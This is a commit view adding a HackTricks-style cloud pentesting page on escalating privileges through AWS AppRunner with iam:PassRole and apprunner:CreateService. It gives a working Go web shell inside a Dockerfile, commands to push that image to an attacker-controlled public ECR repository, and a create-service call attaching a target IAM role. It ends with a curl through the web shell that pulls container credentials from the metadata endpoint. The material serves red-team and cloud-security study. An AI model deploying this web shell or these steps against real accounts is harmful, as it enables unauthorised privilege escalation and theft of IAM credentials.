Merge pull request #191 from lambdasawa/master

arte-lambdasawa
This commit is contained in:
SirBroccoli
2025-08-01 11:43:36 +02:00
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2 changed files with 81 additions and 0 deletions

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- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)

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# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
An attacker with these permissions can create an AppRunner service with an attached IAM role, potentially escalating privileges by accessing the role's credentials.
The attacker first creates a Dockerfile that serves as a web shell to execute arbitrary commands on the AppRunner container.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Then, push this image to an ECR repository.
By pushing the image to a public repository in an AWS account controlled by the attacker, privilege escalation is possible even if the victim's account doesn't have permissions to manipulate ECR.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
Next, the attacker creates an AppRunner service configured with this web shell image and the IAM Role they want to exploit.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
After waiting for the service creation to complete, use the web shell to retrieve container credentials and obtain the permissions of the IAM Role attached to AppRunner.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Potential Impact:** Direct privilege escalation to any IAM role that can be attached to AppRunner services.
{{#include ../../../banners/hacktricks-training.md}}